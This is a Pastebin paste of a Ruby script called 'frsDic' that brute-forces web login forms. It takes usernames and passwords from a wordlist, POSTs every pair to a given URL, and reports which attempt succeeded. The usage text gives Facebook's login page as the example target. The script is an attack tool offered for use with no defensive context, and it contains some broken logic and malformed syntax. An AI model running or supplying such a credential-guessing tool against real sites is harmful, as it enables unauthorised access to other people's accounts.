Advertisement
Guest User

Untitled

a guest
Apr 11th, 2019
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. require 'net/http'
  2.  
  3. def checkPostRequest(post_request)
  4. if !post_request.include?"&" and !post_request.include?":"
  5. print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&postparemeter:Case of failure message'>")
  6. return false
  7. end
  8. return true
  9. end
  10.  
  11. def getNumberOfCombinations(file)
  12.  
  13. count = 0
  14.  
  15. filename = File.open(file, "r")
  16.  
  17. filename.each_line do |line|
  18. count += 1
  19. end
  20.  
  21. return count * count
  22.  
  23.  
  24. end
  25.  
  26.  
  27. def checkFileExistance(filename)
  28. if File.exist?filename
  29. return true
  30. end
  31. puts("Your file must exist!")
  32. return false
  33. end
  34.  
  35. def checkUsage()
  36.  
  37. if ARGV.length != 3
  38. print("Usage: ruby frsDic <wordlist> <url> <postrequest>\nExample: ruby frsDic words.txt www.facebook.com/login.php <'postparameter&&postparemeter:Case of failure message'>")
  39. return false
  40. end
  41.  
  42. return true
  43.  
  44. end
  45.  
  46. def crackRemotePassword()
  47.  
  48. postrequest = ARGV[2]
  49. filename = ARGV[0]
  50.  
  51. if !checkPostRequest(postrequest)
  52. return false
  53. end
  54.  
  55. if !checkUsage()
  56. return false
  57. end
  58.  
  59. if !checkFileExistance(filename)
  60. return false
  61. end
  62.  
  63. postArray = Array.new
  64. uri = URI(ARGV[1])
  65. file = IO.readlines(filename)
  66. delimiters = ["&", ":"]
  67.  
  68. postArray = postrequest.split(Regexp.union(delimiters))
  69.  
  70. x = 0
  71. y = 0
  72.  
  73. numberOfCombinations = getNumberOfCombinations(filename)
  74. puts("Cracking with: " + numberOfCombinations.to_s + " possible combinations")
  75.  
  76. postThread = Thread.new do
  77.  
  78. loop do
  79.  
  80. username = file[y].delete("\n")
  81. password = file[x].delete("\n")
  82.  
  83. if postArray.length == 4
  84.  
  85. begin
  86. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[2] => "submit"})
  87. if response.body.include?postArray[3]
  88. print("[*]ATTEMPT " + username + " " + password + " FAILED")
  89. else
  90. print("[*]ATTEMPT " + username + " " + password + " SUCCEEDED!")
  91. break
  92. end
  93.  
  94. y += 1
  95.  
  96. if file[y] == file[file.length]
  97. y = 0
  98. x += 1
  99. end
  100. if file[x] == file[file.length]
  101. print("Coulnd't crack account...\n")
  102. break
  103. end
  104.  
  105. rescue
  106. unless response.kind_of?Net::HTTPSuccess do
  107. print("Lost connection. Re-establishing connection")
  108. response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => password, postArray[3] => "submit"})
  109. end
  110. end
  111. end
  112. end
  113. end
  114. end
  115. postThread.join
  116. end
  117.  
  118.  
  119.  
  120.  
  121. crackRemotePassword()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement